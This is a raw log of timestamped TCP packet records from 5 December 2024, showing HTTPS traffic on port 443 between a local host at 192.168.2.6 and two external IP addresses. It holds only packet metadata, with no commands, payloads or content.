Dec 5, 2024 15:04:55.169414997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.169445038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.323288918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.323334932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.323569059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.323582888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.323631048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.328299999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.328321934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.328388929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.328394890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.328433037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.334168911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.334187031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.334252119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.334259987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.334300995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.339911938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.339956999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.340008020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.340018034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.340044022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.340056896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.344953060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.344980001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.345031023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.345036983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.345065117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.345082998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.350958109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.350995064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.351042986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.351049900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.351074934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.351098061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.356359959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.356386900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.356451035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.356456995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.356492996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.361881018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.361900091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.361951113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.361957073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.361984968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.362004042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.515429020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.515464067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.515638113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.515650988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.515697956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.520595074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.520626068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.520678997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.520685911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.520714998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.520730019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.526173115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.526200056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.526284933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.526295900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.526335001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.531956911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.531976938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.532047987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.532056093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.532094002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.537094116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.537115097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.537173033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.537178993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.537201881 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.537215948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.542853117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.542876005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.542943954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.542951107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.542989969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.548355103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.548376083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.548444033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.548449993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.548485994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.554006100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.554047108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.554107904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.554115057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.554147959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.707537889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.707570076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.707622051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.707638979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.707669973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.707683086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.713144064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.713160992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.713205099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.713212967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.713253021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.713356972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.718274117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.718288898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.718333006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.718342066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.718400955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.724158049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.724174023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.724216938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.724229097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.724250078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.724271059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.729795933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.729810953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.729871035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.729881048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.729921103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.735671043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.735691071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.735749960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.735758066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.735795021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.741025925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.741044044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.741157055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.741164923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.741206884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.746161938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.746181011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.746251106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.746259928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.746301889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.900923967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.900964975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.901051998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.901062965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.901211023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.906326056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.906347036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.906399012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.906405926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.906502008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.911513090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.911528111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.911578894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.911586046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.911648989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.916775942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.916790962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.916842937 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.916850090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.916910887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.921726942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.921744108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.921794891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.921802044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.921860933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.927475929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.927491903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.927546978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.927556992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.927607059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.933018923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.933034897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.933089018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.933094978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.933151960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.938570023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.938586950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.938648939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.938659906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.938713074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.092135906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.092164993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.092339993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.092355967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.095863104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.097210884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.097235918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.097285986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.097292900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.098962069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.103009939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.103025913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.103089094 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.103095055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.103127003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.108851910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.108870029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.108922958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.108928919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.108968019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.117120028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.117141962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.117316961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.117325068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.117459059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.121011972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.121028900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.121088982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.121097088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.121154070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.126214027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.126229048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.126296043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.126318932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.126374006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.131234884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.131251097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.131320953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.131329060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.131870985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.284262896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.284285069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.284349918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.284362078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.286506891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.289869070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.289885044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.289941072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.289949894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.289994001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.295018911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.295036077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.295089006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.295095921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.295140028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.300621033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.300637960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.300702095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.300709009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.300810099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.306622028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.306638002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.306699991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.306716919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.306786060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.311827898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.311846972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.311903000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.311911106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.312077999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.317795038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.317812920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.317883015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.317892075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.318025112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.322776079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.322798014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.322877884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.322886944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.323000908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.478446960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.478476048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.478574991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.478595018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.479870081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.483540058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.483561039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.483620882 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.483628988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.483867884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.494282007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.494323015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.494391918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.494399071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.495867014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.499679089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.499700069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.499766111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.499773979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.499869108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.504607916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.504626989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.504690886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.504698038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.507894993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.510256052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.510274887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.510344982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.510350943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.511878014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.515989065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.516009092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.516082048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.516088009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.519875050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.521831036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.521852016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.521888018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.521904945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.521912098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.521940947 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.521958113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:56.522001982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:56.522428036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:05:48.526777029 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:48.526808023 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:48.526875019 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:48.528918028 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:48.528929949 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.053658962 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.053926945 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.053951979 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.059016943 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.059020996 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.059890985 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.059952974 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.103708982 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.103754997 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.103904009 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.315332890 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.315414906 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.864141941 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.864172935 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.864180088 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.864204884 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.864217043 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.864347935 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.864347935 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:50.864362955 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:50.864408970 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.040390015 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.040399075 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.040426970 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.040438890 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.040453911 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.040462017 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.040467024 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.040513039 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.058501959 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.058567047 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.087409973 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.087425947 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.087445021 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.087479115 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.087485075 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.087507010 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.087507963 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.087570906 CET	49998	443	192.168.2.6	104.121.10.34
Dec 5, 2024 15:05:51.088464022 CET	49998	443	192.168.2.6	104.121.10.34
